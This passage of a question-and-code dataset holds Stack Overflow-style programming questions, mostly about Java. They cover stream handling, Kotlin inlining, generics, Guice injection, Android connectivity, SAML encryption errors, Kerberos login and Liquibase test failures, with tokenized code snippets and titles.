could use these consumers to extract the strings , but c0 would be overwritten by the second element : EDIT : These are the characteristics of the stream : There 's a stream only , not a list or an arrayThe stream is possibly infiniteThe stream can be made sequential","List < String > strings = Arrays.asList ( `` s0 '' , `` s1 '' , `` s2 '' , `` s3 '' , `` s4 '' ) ; Consumer < String > c0 = s - > System.out.println ( `` c0.accept ( `` + s + `` ) '' ) ; Consumer < String > c1 = s - > System.out.println ( `` c1.accept ( `` + s + `` ) '' ) ; strings.stream ( ) .skip ( 0 ) .peek ( c0 ) .skip ( 1 ) .peek ( c1 ) .findAny ( ) ; c0.accept ( s0 ) c0.accept ( s1 ) c1.accept ( s1 ) String [ ] extracted = new String [ 2 ] ; c0 = s - > extracted [ 0 ] ; c1 = s - > extracted [ 1 ] ;",Collect certain elements from stream +Java,I want to understand how inline functions impact classes.dex and count of methods at all . From my understanding inline function should have zero overhead over methods count . However APK analyzer gives me opposite result.I wrote small test to check this.InlineFunction.kt file : And MainActivity.kt file : From perspective of generated code it looks pretty clear : As we can see there is no call of additional method . But if I open apk with analyzer I can see that this method impacts defined and references methpds count.On the other hand Kotlin stdlib impacts only referenced methods count and does not defined ones.So what am I missing ? I ca n't find how any good source about inlining methods in Android and how it is impact performance as well as I ca n't find any documentation how dex methods count is calculated . I found Jake Wharton utility but if it works correct than all methods from Kotlin library impacts methods count . And it also means that something wrong in this answer https : //stackoverflow.com/a/39635849/4727432 ... Standard library is very small and many of its functions are inline-only which mean they do n't exist past compilation and just become inline code . Proguard can take care of a lot as well ... So how does inline functions impact methods count ? Any articles or posts which explain dex method counting process are welcome .,inline fun inlined ( block : ( ) - > Unit ) { block ( ) } class MainActivity : AppCompatActivity ( ) { override fun onCreate ( savedInstanceState : Bundle ? ) { super.onCreate ( savedInstanceState ) inlined { println ( `` Inlined '' ) } } } public final class MainActivity extends AppCompatActivity { private HashMap _ $ _findViewCache ; protected void onCreate ( @ Nullable Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; String var2 = `` Inlined '' ; System.out.println ( var2 ) ; },Kotlin inline functions and Android methods count +Java,"I am trying to implement a Monad interface in Java 8 following this article however I 've got the following compiling errors2 errors found : File : FunctorsMonads.java [ line : 36 ] Error : FOptional is not abstract and does not override abstract method flatMap ( java.util.function.Function > ) in Monad File : FunctorsMonads.java [ line : 50 ] Error : name clash : flatMap ( java.util.function.Function > ) in FOptional and flatMap ( java.util.function.Function ) in Monad have the same erasure , yet neither overrides the otherThe Functor interface works just fine . Any help is much appreciated.Here is the code : Edit : I have added the following lines in the main method as a litmus test of the implementation 's correctness : FOptional < Integer > num2 = str.flatMap ( FunctorsMonads : :tryParse ) ; System.out.println ( num2 ) ;","import java.util.function.Function ; public class FunctorsMonads { public static void main ( String [ ] args ) { System.out.println ( tryParse ( `` 47 '' ) ) ; System.out.println ( tryParse ( `` a '' ) ) ; FOptional < String > str = FOptional.of ( `` 47 '' ) ; System.out.println ( str ) ; FOptional < FOptional < Integer > > num = str.map ( FunctorsMonads : :tryParse ) ; System.out.println ( num ) ; FOptional < Integer > num2 = str.flatMap ( FunctorsMonads : :tryParse ) ; System.out.println ( num2 ) ; } static FOptional < Integer > tryParse ( String s ) { try { final int i = Integer.parseInt ( s ) ; return FOptional.of ( i ) ; } catch ( NumberFormatException e ) { return FOptional.empty ( ) ; } } } interface Functor < T , F extends Functor < ? , ? > > { < R > F map ( Function < T , R > f ) ; } interface Monad < T , M extends Monad < ? , ? > > extends Functor < T , M > { M flatMap ( Function < T , M > f ) ; } //class FOptional < T > implements Functor < T , FOptional < ? > > class FOptional < T > implements Monad < T , FOptional < ? > > { private final T valueOrNull ; private FOptional ( T valueOrNull ) { this.valueOrNull = valueOrNull ; } public < R > FOptional < R > map ( Function < T , R > f ) { if ( valueOrNull == null ) return empty ( ) ; else return of ( f.apply ( valueOrNull ) ) ; } public < R > FOptional < R > flatMap ( Function < T , FOptional < R > > f ) { if ( valueOrNull == null ) return empty ( ) ; else return f.apply ( valueOrNull ) ; } public static < T > FOptional < T > of ( T a ) { return new FOptional < T > ( a ) ; } public static < T > FOptional < T > empty ( ) { return new FOptional < T > ( null ) ; } @ Override public String toString ( ) { return getClass ( ) .getName ( ) + `` < `` + valueOrNull + `` > '' ; } }",Implementing Monads in Java 8 +Java,I came across an algorithm on the net http : //www.coderanch.com/t/201836/Performance/java/Hashtable-vs-Hashmap and decided to test itand i got the following results Is this JVM dependent and arbitrary or does it really provide faster access and storage time ?,"public class MapTest { static int sizeOfTrial = 100000 ; static String [ ] keys = new String [ sizeOfTrial ] ; static String [ ] vals = new String [ sizeOfTrial ] ; public static void main ( String [ ] args ) { //init sizeOfTrial key/value pairs for ( int i=0 ; i < sizeOfTrial ; i++ ) { String s1 = `` key '' + i ; String s2 = `` val '' + i ; keys [ i ] = s1 ; vals [ i ] = s2 ; } test ( new TreeMap ( ) , `` TreeMap '' ) ; test ( new Hashtable ( ) , `` Hashtable '' ) ; test ( new HashMap ( ) , `` HashMap '' ) ; test ( new Hashtable ( 200000 ) , `` Hashtable presized '' ) ; test ( new HashMap ( 200000 ) , `` HashMap presized '' ) ; } public static void test ( Map tm , String name ) { long t1 = System.currentTimeMillis ( ) ; for ( int i=0 ; i < sizeOfTrial ; i++ ) { tm.put ( keys [ i ] , vals [ i ] ) ; } for ( int i=0 ; i < sizeOfTrial ; i++ ) { tm.get ( keys [ i ] ) ; } long t2 = System.currentTimeMillis ( ) ; System.out.println ( `` total time for `` + name + `` : `` + ( t2-t1 ) ) ; } } total time for TreeMap : 1744total time for Hashtable : 446total time for HashMap : 234total time for Hashtable presized : 209total time for HashMap presized : 196",are HashMaps with predefined capacity faster +Java,"I 'm fairly new to programming but I 've taken the Intro CS class at my school , so I understand most of the basics ( or thought I did ) . I 'm trying to teach myself some OpenGL via JOGL and I came across a few lines of code that I could n't understand . Am I missing something ? I checked the Javadoc , and WindowAdapter is an abstract class . So how can he be instantiating it ? Or is this even creating an instance ? It almost looks like the code extends WindowAdapter or overrides the windowClosing method , but how is that possible without writing a new class ?",frame.addWindowListener ( new WindowAdapter ( ) { public void windowClosing ( WindowEvent e ) { System.exit ( 0 ) ; } } ) ;,Is this code instantiating or extending an abstract class without creating a new class ? +Java,I 'm use to defining member variables that are private with a prefix 'm ' . Example : The getter / setter would typically look like this : The Intellij IDE does have a way of creating these getters/setters but it adds the 'm ' prefix to the names of the getter/setter methods . Is there a way to prevent this ?,private boolean mDone ; public boolean getDone ( ) } return mDone ; } public void setDone ( boolean done ) { mDone = done ; },Configure IntelliJ getter and setter code generation +Java,"Preface : This is working just fine on a phone running 6.0.1. but on my phone that is running 7.1.1 , it is not , as shown below.build.gradle ( Module : app ) AndroidManifest.xmlNetworkUtil.javaI have a BroadcastReceiver that I use to simply call NetworkUtil.updateNetworkStatus ( context ) ; Starting with WiFi and Data Connected I have done the following testsTurn WiFi OFFTurn WiFi ON : Turn data OFF : Turn data ON : Turn WiFi OFF and then turn data OFF : With both off , turn WiFi ON : I am absolutely bemused by the results . I saw somewhere else that I should bind it at runtime , however , my only activity is a Preferences activity . The app is not intended to have a runtime UI , rather using background IntentService and Notifications .","compileSdkVersion 25buildToolsVersion `` 25.0.0 '' applicationId `` com.gesslar.threshvote '' minSdkVersion 19targetSdkVersion 25 < uses-permission android : name= '' android.permission.ACCESS_NETWORK_STATE '' / > < receiver android : name= '' .NetworkChangeReceiver '' android : enabled= '' true '' android : exported= '' true '' > < intent-filter > < action android : name= '' android.net.wifi.WIFI_STATE_CHANGED '' / > < action android : name= '' android.net.conn.CONNECTIVITY_CHANGE '' / > < /intent-filter > < /receiver > public static void updateNetworkStatus ( Context context ) { final ConnectivityManager connectivityManager = ( ConnectivityManager ) context.getSystemService ( Context.CONNECTIVITY_SERVICE ) ; final NetworkInfo activeNetwork = connectivityManager.getActiveNetworkInfo ( ) ; if ( activeNetwork == null ) { Log.d ( TAG , `` NO CONNECTION INFORMATION '' ) ; return ; } if ( activeNetwork.isConnected ( ) ) { Log.d ( TAG , `` WE ARE CONNECTED TO A NETWORK '' ) ; } else { Log.d ( TAG , `` WE ARE NOT CONNECTED TO A NETWORK '' ) ; return ; } Log.d ( TAG , `` NETWORK TYPE : `` + activeNetwork.getTypeName ( ) ) ; } 03-08 20:15:04.664 29796-29796/com.gesslar.threshvote D/NetworkUtil : NO CONNECTION INFORMATION 03-08 20:15:26.333 29796-29796/com.gesslar.threshvote D/NetworkUtil : WE ARE CONNECTED TO A NETWORK03-08 20:15:26.333 29796-29796/com.gesslar.threshvote D/NetworkUtil : NETWORK TYPE : MOBILE No log line written No log line written 1 ) 03-08 20:17:13.029 29796-29796/com.gesslar.threshvote D/NetworkUtil : NO CONNECTION INFORMATION2 ) No log line written 03-08 20:18:00.198 29796-29796/com.gesslar.threshvote D/NetworkUtil : NO CONNECTION INFORMATION^ showed as soon as it started seeking for WiFi , but no further log line was written when WiFi became active .",NetworkInfo is not properly responding to network changes on phone running Nougat +Java,I want to allocate a new array with the length N and fill it up by repeating a given array . The interface looks like this : To clarify what I mean here is a small example : Most of the programmer will come up with the following solution ( for simplicity of array generation a specific type was chosen ) : Is there a faster way to do this ?,"< T > T [ ] repeat ( T [ ] array , int n ) ; String a = { `` a '' , `` b '' , `` c '' } ; // b = { `` a '' , `` b '' , `` c '' , `` a '' , `` b '' , `` c '' , `` a '' , `` b '' , `` c '' , `` a '' } String b = repeat ( a , 10 ) ; public String [ ] repeat ( String [ ] array , int n ) { String [ ] repeated = new String [ n ] ; for ( int i = 0 ; i < n ; i++ ) { repeated [ i ] = array [ i % array.length ] ; } return repeated ; }",Fastest way to create new array with length N and fill it by repeating a given array +Java,"Context : java using guice ( last version ) Hi everybody , is it possible to inject some TypeLiteral with Guice by this way : What is the best way to handle this problem ( with Guice ) ? Thank you !","public MyClass < ? , ? > getMyClass ( Injector injector , Class < ? > a , Class < ? > b ) { //how to Inject MyClass with type a & b ? //e.g : injector.getInstance ( MyClass < `` a class '' , '' b class '' > ) } public interface MyClass < S , T > { public T do ( S s ) ; } public class ClassOne implements MyClass < String , Integer > { public Integer do ( String s ) { //do something } } Module : bind . ( new TypeLiteral < MyClass < String , Integer > ( ) { } ) .to ( ClassOne.class ) ; bind . ( new TypeLiteral < MyClass < String , Double > ( ) { } ) .to ( ClassTwo.class ) ; ...",TypeLiteral injection with reflection +Java,"I have multiple conditions to check as shown below , Is there any easy way to check above conditions similar like SQL INcondition , so that code look simpler ?",if ( pouch.getStatus ( ) .equals ( `` Finalized '' ) || pouch.getStatus ( ) .equals ( `` Ready '' ) || pouch.getStatus ( ) .equals ( `` Checkout '' ) || pouch.getStatus ( ) .equals ( `` Confirmed '' ) || pouch.getStatus ( ) .equals ( `` Book '' ) || pouch.getStatus ( ) .equals ( `` Started '' ) || pouch.getStatus ( ) .equals ( `` Inital '' ) || pouch.getStatus ( ) .equals ( `` Close '' ) ) { // Body Implementation },SQL IN condition in Java +Java,I have to read the high contrast mode of the native os and have to apply the settings on my product . Now for windows I have done some thing like this : This works fine for Windows but I need the desktop property to read linux high contrast settings . Can anyone please tell me what would be the desktop property for linux ?,try { Toolkit toolkit = Toolkit.getDefaultToolkit ( ) ; boolean highContrast = ( Boolean ) toolkit.getDesktopProperty ( `` win.highContrast.on '' ) ; } catch ( Exception e ) { },What would be getDesktopProperty ( ) for Linux ? +Java,"I was wondering if i have an abstract super class with x different constructors , and i want to be able to use all those constructors in a subclass , do i have to write all x constructors in the subclass and just let them all call super ( ... ) ? Seems like redundant code..An example for the clarity : Do i than need :","public class SuperClass { public SuperClass ( ) { ... } public SuperClass ( double d ) { ... } public SuperClass ( BigDecimal b ) { ... } public SuperClass ( BigDecimal b , String s ) { ... } [ ... ] } public class SuperClass { public SubClass ( ) { super ( ) ; } public SubClass ( double d ) { super ( d ) ; } public SubClass ( BigDecimal b ) { super ( b ) ; } public SuperClass ( BigDecimal b , String s ) { super ( b , s ) ; } [ ... ] }",Passing construction to super class +Java,"I have this json string : When I convert it with Jackson to Map [ String , Object ] the type of startDate is String how I can tell Jackson to convert it to DateTime type ?","{ `` startDate '' : `` 2014-12-17T14:31:40Z '' , `` name '' : `` Izek '' , `` age '' : 12 }","json string with multiple types to Map [ String , Object ]" +Java,"I have a multithreaded application and a singleton class : Of course , this will not work in a general multithreaded scenario . But consider the following scenario : In the beginning there is only one threadThis one thread calls getInstance ( ) for the first time so that mc is initialized.After that all other threads are started by the first thread.My assumption : This should work because the initialization of the mc field and the object 's construction happen-before all subsequent Thread.start ( ) calls that start the other threads . And the Thread.start ( ) for a thread happens-before all other actions of that thread . It follows that the initialization of mc happens-before all actions in all other threads so that getInstance ( ) will return the right value for all threads.Is this assumption right ? Why / Why not ?",public final class Singleton { private static MyClass mc ; public static final Object getInstance ( ) { if ( mc == null ) { mc = new MyClass ( ) ; } return mc ; } },Threadsafe Singleton without synchronization in Java ? +Java,"I have two interfaces that look like this : If I have a raw Parent object , calling foo ( ) defaults to returning a Number since there is no type parameter.This makes sense.If I have a raw Child object , I would expect that calling foo ( ) would return an Integer by the same logic . However , the compiler claims that it returns a Number.I can override Parent.foo ( ) in Child to fix this , like so : Why does this happen ? Is there a way to have Child.foo ( ) default to returning an Integer without overriding Parent.foo ( ) ? EDIT : Pretend Integer is n't final . I just picked Number and Integer as examples , but obviously they were n't the best choice . : S","interface Parent < T extends Number > { T foo ( ) ; } interface Child < T extends Integer > extends Parent < T > { } Parent parent = getRawParent ( ) ; Number result = parent.foo ( ) ; // the compiler knows this returns a Number Child child = getRawChild ( ) ; Integer result = child.foo ( ) ; // compiler error ; foo ( ) returns a Number , not an Integer interface Child < T extends Integer > extends Parent < T > { @ Override T foo ( ) ; // compiler would now default to returning an Integer }",Java automatic return type covariance with generic subclassing +Java,I 'm looking for help on now to use TDD for a real world example . Most show are too simple and do n't really show how test and re-factor more complicated classes . Here is an example of code that uses both a thread and a network socket . Could someone explain how to create a isolated Unit Test for such a class ? Thanks .,"public class BaseHandler extends Thread { protected Socket mClientSocket ; protected BufferedReader is = null ; protected BufferedWriter os = null ; private Logger mLogger = Logger.getLogger ( WebTestController.class.getName ( ) ) ; protected WebTestController mWebTestController ; /********************************************************************* * * @ param piPort - int port to listen on */ public BaseHandler ( ) { } /*********************************************************************** cleanup * Ensure sockets are closed as to not run into bind errors */ protected void cleanup ( ) { try { if ( is ! = null ) is.close ( ) ; if ( os ! = null ) os.close ( ) ; if ( mClientSocket ! = null ) mClientSocket.close ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } mLogger.info ( `` cleaning up a socket '' ) ; } /*********************************************************************************** * Sends a message to the current socket * @ param pMessage */ protected void writeToSocket ( String pMessage ) { try { os = new BufferedWriter ( new OutputStreamWriter ( mClientSocket.getOutputStream ( ) ) ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; cleanup ( ) ; return ; } try { os.write ( pMessage , 0 , pMessage.length ( ) ) ; os.flush ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } cleanup ( ) ; } }",Help with real world TDD using Java +Java,"A little bit new with spring . When I instantiate a bean via interface , it does n't seem to get events , if however , I use actual class implementing the interface , then the event is received . Why is this ? Code below.Here is the calling code : Config class : The interface : '' ContextStartedEvent Received '' never gets shown if the bean has a prototype scope . NOTE : If I change return type of bean method to HelloWorldImpl in the config class , and also change HelloWorld to HelloWorldImpl inside main ( two occurrences - basically on the line where I call getBean ) , then this works also with prototype beans . Why would that be ? Additionally if I create two instances of HelloWorldImpl in main , in a manner described in this paragraph , still the event is received only once ( but that might be separate issue ) .","package javabeans.di ; import org.springframework.context.ApplicationListener ; import org.springframework.context.event.ContextStartedEvent ; public class HelloWorldImpl implements HelloWorld , ApplicationListener < ContextStartedEvent > { private String msg ; public HelloWorldImpl ( String s ) { msg = s ; } @ Override public void printHelloWorld ( ) { System.out.println ( `` Hello : `` + msg ) ; } public void onApplicationEvent ( ContextStartedEvent event ) { System.out.println ( `` ContextStartedEvent Received '' ) ; } } public static void main ( String [ ] args ) { ConfigurableApplicationContext ctx = new AnnotationConfigApplicationContext ( HelloWorldConfig.class ) ; // Let us raise a start event . ctx.start ( ) ; HelloWorld obj = ( HelloWorld ) ctx.getBean ( `` helloWorld '' ) ; obj.printHelloWorld ( ) ; ctx.stop ( ) ; } @ Configurationpublic class HelloWorldConfig { @ Bean @ Scope ( `` prototype '' ) public HelloWorld helloWorld ( ) { return new HelloWorldImpl ( `` Hello java beans '' ) ; } } package javabeans.di ; public interface HelloWorld { void printHelloWorld ( ) ; }",Issue receiving event on prototype bean when used through interface ? +Java,"I associate a key to a hash map for 10000000 time . Here 's the Java code and output:And then I call java from clojure in REPL : Both code do the same thing , but the clojure version runs exstreamly slow ! ! What 's the problem ?","import java.util.HashMap ; public class TestMap { public static void main ( String [ ] args ) { HashMap < Integer , Integer > mp = new HashMap < Integer , Integer > ( ) ; long start = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < 10000000 ; i++ ) { mp.put ( 1 , 1 ) ; } long end = System.currentTimeMillis ( ) ; System.out.println ( `` Elapsed time : `` + ( end - start ) + `` msecs '' ) ; } } $ javac TestMap.java & & java -cp . TestMapElapsed time : 38 msecs user= > ( import java.util.HashMap ) java.util.HashMapuser= > ( def mp ( HashMap . ) ) # 'user/mpuser= > ( time ( dotimes [ n 10000000 ] ( .put mp 1 1 ) ) ) '' Elapsed time : 10024.797 msecs '' nil",Why does java native HashMap in clojure run slowly ? +Java,"Tough question but I could use any help on it.I 'm using System.Security.Cryptography.Xml on my end to encrypt an XML SAML blob.The encryption is working fine , however when it hits the java library on the other side they are getting error : How can I continue to use my encryption method : While getting around this error ? Is there a parameter on EncryptedKey to set the padding size ? Or do I have to use Bouncy Castle to specify the size of the encrypted data ?","java.lang.ArrayIndexOutOfBoundsException : too much data for RSA block at org.bouncycastle.jce.provider.JCERSACipher.engineDoFinal ( Unknown Source ) at org.bouncycastle.jce.provider.WrapCipherSpi.engineUnwrap ( Unknown Source ) at javax.crypto.Cipher.unwrap ( Unknown Source ) at org.apache.xml.security.encryption.XMLCipher.decryptKey ( Unknown Source ) at org.opensaml.xml.encryption.Decrypter.decryptKey ( Decrypter.java:680 ) at org.opensaml.xml.encryption.Decrypter.decryptKey ( Decrypter.java:611 ) at org.opensaml.xml.encryption.Decrypter.decryptUsingResolvedEncryptedKey ( Decrypter.java:761 ) at org.opensaml.xml.encryption.Decrypter.decryptDataToDOM ( Decrypter.java:512 ) at org.opensaml.xml.encryption.Decrypter.decryptDataToList ( Decrypter.java:439 ) at org.opensaml.xml.encryption.Decrypter.decryptData ( Decrypter.java:400 ) at org.opensaml.saml2.encryption.Decrypter.decryptData ( Decrypter.java:141 ) at org.opensaml.saml2.encryption.Decrypter.decrypt ( Decrypter.java:69 ) public XmlElement EncryptXml ( XmlElement assertion , X509Certificate2 cert ) { //cert = new X509Certificate2 ( @ '' C : \temp\SEI.cer '' ) ; XmlElement returnElement ; EncryptedData message = new EncryptedData ( ) ; message.Type = `` http : //www.w3.org/2001/04/xmlenc # Element '' ; message.EncryptionMethod = new EncryptionMethod ( EncryptedXml.XmlEncAES128KeyWrapUrl ) ; //message.EncryptionMethod = new EncryptionMethod ( EncryptedXml.XmlEncAES128KeyWrapUrl ) ; EncryptedKey key = new EncryptedKey ( ) ; key.EncryptionMethod = new EncryptionMethod ( EncryptedXml.XmlEncRSA15Url ) ; key.KeyInfo.AddClause ( new KeyInfoX509Data ( cert ) ) ; var rKey = new RijndaelManaged ( ) ; rKey.BlockSize = 128 ; rKey.KeySize = 128 ; rKey.Padding = PaddingMode.PKCS7 ; rKey.Mode = CipherMode.CBC ; key.CipherData.CipherValue = EncryptedXml.EncryptKey ( rKey.Key , ( RSA ) cert.PublicKey.Key , false ) ; KeyInfoEncryptedKey keyInfo = new KeyInfoEncryptedKey ( key ) ; message.KeyInfo.AddClause ( keyInfo ) ; message.CipherData.CipherValue = new EncryptedXml ( ) .EncryptData ( assertion , rKey , false ) ; returnElement = message.GetXml ( ) ; Logger ( `` Cert Size : `` + System.Text.ASCIIEncoding.Unicode.GetByteCount ( cert.ToString ( ) ) ) ; GetBytesKeyAndData ( rKey , assertion.InnerText ) ; return returnElement ; }",.NET System Encryption to Bouncy Castle Java Decryption Throws Error +Java,"I am looking for a Single Sign-On authentication in a Java client.Since I am logged in to Windows using an AD , the main goal is that I do not have to enter username and password again . I want Java to use the Ticket I recieved at Windows-login . This code is the best I have for the purpose : I 've set the java.security.krb5.conf and java.security.auth.login.config properties with corresponding conf-files , but still a dialog asking for Username and Password pops up.I also tried working with GSSName , but GSSManager.createCredential ( ) is also asking for Username and Password ( probably using the TextCallbackHandler ( ) ) .I tried to get along with Waffle , but did not get it working . Most examples and explanations are Server sided ( I only found one example combining server and client side , but I was not able to split it up ) .I know , there are Similar questions ( e.g . this ) , but i did not get that working without entering a password.PS : i know , that DialogCallbackHandler is depricated , I use it for test purposes only .","LoginContext lc = new LoginContext ( `` com.sun.security.jgss.krb5.initiate '' , new DialogCallbackHandler ( ) ) ; lc.login ( ) ; Subject.doAs ( lc.getSubject ( ) , ( PrivilegedExceptionAction < Void > ) ( ) - > { System.out.println ( `` This is privileged '' ) ; return null ; } ) ;",Single Sign-On with Java Client +Java,"Why it is not allowed to define such a static member : Instead it 's only allowed to use it unspecified : Is there a workaround so that I can define that both parameters to the BiFunction MUST be of the same type and that the key of the Map MUST be the class type of these parameters ? Updated to clarify ( because the suggestion of @ Mena is not suitable for me ) : I want a map for the array equals method for a generic equals helper . The generic helper receives formally two Objects . If they are arrays I have to pass it to one of the overloaded Arrays.equals ( ) method . I wandted to have a lookup for the correct method ( Example 1 ) : and then using it like : The construct ( according to Mena ) does not even compile : And if I populate the generated map outside the method : then the whole type safety has gone because I have to do a ( unchecked ) typecast when assigning it to the final static member.My Example 1 above works , but I have to cast the received lambda when using it :","private static final < T extends Object > Map < Class < T > , BiFunction < T , T , Boolean > > SPECIFIC_HANDLERS = new HashMap < > ( ) ; private static final Map < Class < ? > , BiFunction < ? , ? , Boolean > > SPECIFIC_HANDLERS = new HashMap < > ( ) ; private static final Map < Class < ? > , BiFunction < ? , ? , Boolean > > ARRAY_EQUALS_HANDLER = new HashMap < > ( ) ; static { ARRAY_EQUALS_HANDLER.put ( Object [ ] .class , ( l , r ) - > Arrays.equals ( ( Object [ ] ) l , ( Object [ ] ) r ) ) ; ARRAY_EQUALS_HANDLER.put ( boolean [ ] .class , ( l , r ) - > Arrays.equals ( ( boolean [ ] ) l , ( boolean [ ] ) r ) ) ; ... . } boolean equal = ARRAY_EQUALS_HANDLER.get ( anObj1.getClass ( ) ) .apply ( anObj1 , anObj2 ) ; private static < T extends Object > Map < Class < T > , BiFunction < T , T , Boolean > > getSpecificHandlers ( ) { Map < Class < T > , BiFunction < T , T , Boolean > > result = new HashMap < > ( ) ; result.put ( Object [ ] .class , ( l , r ) - > Arrays.equals ( ( Object [ ] ) l , ( Object [ ] ) r ) ) ; result.put ( boolean [ ] .class , ( l , r ) - > Arrays.equals ( ( boolean [ ] ) l , ( boolean [ ] ) r ) ) ; return result ; } @ SuppressWarnings ( { `` unchecked '' , `` rawtypes '' } ) private static final Map < Class < ? > , BiFunction < ? , ? , Boolean > > ARRAY_EQUALS_HANDLER = ( Map ) getSpecificHandlers ( ) ; static { ARRAY_EQUALS_HANDLER.put ( Object [ ] .class , ( l , r ) - > Arrays.equals ( ( Object [ ] ) l , ( Object [ ] ) r ) ) ; ... } private static < T extends Object > boolean equalsArray ( T anArray , T anOtherArray ) { Object o = ARRAY_EQUALS_HANDLER.get ( anArray.getClass ( ) ) ; @ SuppressWarnings ( `` unchecked '' ) BiFunction < T , T , Boolean > func = ( BiFunction < T , T , Boolean > ) o ; Boolean result = func.apply ( anArray , anOtherArray ) ; return result ; }",Generic parameters declaration in static member +Java,"I want to compare two audio file for example mp3 and wav . I use musicg to compare by fingerprints.musicg work only on wav so I convert mp3 to wav using JAVEAnd now the problem , when I try compare two wav that I do n't convert fingerprints work perfect but when I compare two different audio that I have to convert it 's always return that both audio are same . Wave create record1 the same spectrogram as record2 when I give to it two different audio .","Wave record1 = new Wave ( music1.toString ( ) ) ; Wave record2 = new Wave ( music2.toString ( ) ) ; FingerprintSimilarity Similarity=record1.getFingerprintSimilarity ( record2 ) ; System.out.println ( Similarity.getSimilarity ( ) ) ; File temp = new File ( `` temp.wav '' ) ; AudioAttributes audio = new AudioAttributes ( ) ; audio.setCodec ( `` pcm_s16le '' ) ; audio.setBitRate ( new Integer ( 128000 ) ) ; audio.setChannels ( new Integer ( 2 ) ) ; audio.setSamplingRate ( new Integer ( 44100 ) ) ; EncodingAttributes attrs = new EncodingAttributes ( ) ; attrs.setFormat ( `` wav '' ) ; attrs.setAudioAttributes ( audio ) ; Encoder encoder = new Encoder ( ) ; encoder.encode ( source , temp , attrs ) ;",Comparing two different audio files does n't work +Java,"I have been trying for quite some time to figure out a solution for my problem , to no avail.Anyway , i have a bunch of integration tests ( in a nonstandard directory testRegression parallel to the standard test directory ) .These integration tests use an h2 in memory database . In production as well as for testing i am using liquibase to simulate the schema evolution.My properties ( in application-testRegession.properties ) look as follows : The error i consistenly keep getting is : So how can i get around this issue ? My basic understanding is that each test class creates its own ApplicationContext . For that it creates and loads a liquibase bean into it.However , this problem occurs only for 2 out of 42 tests.I would really like to get to the bottom of this and understand whats going on.Can anyone shed light on my problem ? ADDITIONALLYThe test all run fine individually , but when run as a group they fail.UPDATE 1The relevant properties are as follows : My configuration is : My two tests are annotated as : Thanks","spring.liquibase.enabled=truespring.liquibase.user=saspring.liquibase.password=spring.liquibase.change-log=classpath : /liquibase/changelog-master.xmlspring.datasource.url=jdbc : p6spy : h2 : mem : testdb ; MODE=PostgreSQL ; DB_CLOSE_DELAY=-1 ; DATABASE_TO_UPPER=FALSE ; INIT=CREATE SCHEMA IF NOT EXISTS nmc\\ ; CREATE SCHEMA IF NOT EXISTS mkt\\ ; CREATE SCHEMA IF NOT EXISTS cdb\\ ; CREATE SCHEMA IF NOT EXISTS pg_tempspring.datasource.driver-class-name=com.p6spy.engine.spy.P6SpyDriverspring.datasource.username=saspring.datasource.password= 2020-07-21 15:57:34.173 INFO [ liquibase.lockservice.StandardLockService ] [ Test worker:13 ] : Successfully acquired change log lock2020-07-21 15:57:34.303 INFO [ liquibase.changelog.StandardChangeLogHistoryService ] [ Test worker:13 ] : Creating database history table with name : PUBLIC.DATABASECHANGELOG2020-07-21 15:57:34.305 INFO [ liquibase.executor.jvm.JdbcExecutor ] [ Test worker:13 ] : CREATE TABLE PUBLIC.DATABASECHANGELOG ( ID VARCHAR ( 255 ) NOT NULL , AUTHOR VARCHAR ( 255 ) NOT NULL , FILENAME VARCHAR ( 255 ) NOT NULL , DATEEXECUTED TIMESTAMP NOT NULL , ORDEREXECUTED INT NOT NULL , EXECTYPE VARCHAR ( 10 ) NOT NULL , MD5SUM VARCHAR ( 35 ) , DESCRIPTION VARCHAR ( 255 ) , COMMENTS VARCHAR ( 255 ) , TAG VARCHAR ( 255 ) , LIQUIBASE VARCHAR ( 20 ) , CONTEXTS VARCHAR ( 255 ) , LABELS VARCHAR ( 255 ) , DEPLOYMENT_ID VARCHAR ( 10 ) ) 2020-07-21 15:57:34.307 INFO [ liquibase.lockservice.StandardLockService ] [ Test worker:13 ] : Successfully released change log lock2020-07-21 15:57:34.309 WARN [ org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext ] [ Test worker:13 ] : Exception encountered during context initialization - cancelling refresh attempt : org.springframework.beans.factory.BeanCreationException : Error creating bean with name 'liquibase ' defined in class path resource [ org/springframework/boot/autoconfigure/liquibase/LiquibaseAutoConfiguration $ LiquibaseConfiguration.class ] : Invocation of init method failed ; nested exception is liquibase.exception.DatabaseException : Table `` DATABASECHANGELOG '' already exists ; SQL statement : CREATE TABLE PUBLIC.DATABASECHANGELOG ( ID VARCHAR ( 255 ) NOT NULL , AUTHOR VARCHAR ( 255 ) NOT NULL , FILENAME VARCHAR ( 255 ) NOT NULL , DATEEXECUTED TIMESTAMP NOT NULL , ORDEREXECUTED INT NOT NULL , EXECTYPE VARCHAR ( 10 ) NOT NULL , MD5SUM VARCHAR ( 35 ) , DESCRIPTION VARCHAR ( 255 ) , COMMENTS VARCHAR ( 255 ) , TAG VARCHAR ( 255 ) , LIQUIBASE VARCHAR ( 20 ) , CONTEXTS VARCHAR ( 255 ) , LABELS VARCHAR ( 255 ) , DEPLOYMENT_ID VARCHAR ( 10 ) ) [ 42101-197 ] [ Failed SQL : ( 42101 ) CREATE TABLE PUBLIC.DATABASECHANGELOG ( ID VARCHAR ( 255 ) NOT NULL , AUTHOR VARCHAR ( 255 ) NOT NULL , FILENAME VARCHAR ( 255 ) NOT NULL , DATEEXECUTED TIMESTAMP NOT NULL , ORDEREXECUTED INT NOT NULL , EXECTYPE VARCHAR ( 10 ) NOT NULL , MD5SUM VARCHAR ( 35 ) , DESCRIPTION VARCHAR ( 255 ) , COMMENTS VARCHAR ( 255 ) , TAG VARCHAR ( 255 ) , LIQUIBASE VARCHAR ( 20 ) , CONTEXTS VARCHAR ( 255 ) , LABELS VARCHAR ( 255 ) , DEPLOYMENT_ID VARCHAR ( 10 ) ) ] 2020-07-21 15:57:34.309 INFO [ com.zaxxer.hikari.HikariDataSource ] [ Test worker:13 ] : HikariPool-3 - Shutdown initiated ... 2020-07-21 15:57:34.324 INFO [ com.zaxxer.hikari.HikariDataSource ] [ Test worker:13 ] : HikariPool-3 - Shutdown completed.2020-07-21 15:57:34.326 INFO [ org.apache.catalina.core.StandardService ] [ Test worker:13 ] : Stopping service [ Tomcat ] 2020-07-21 15:57:34.342 INFO [ 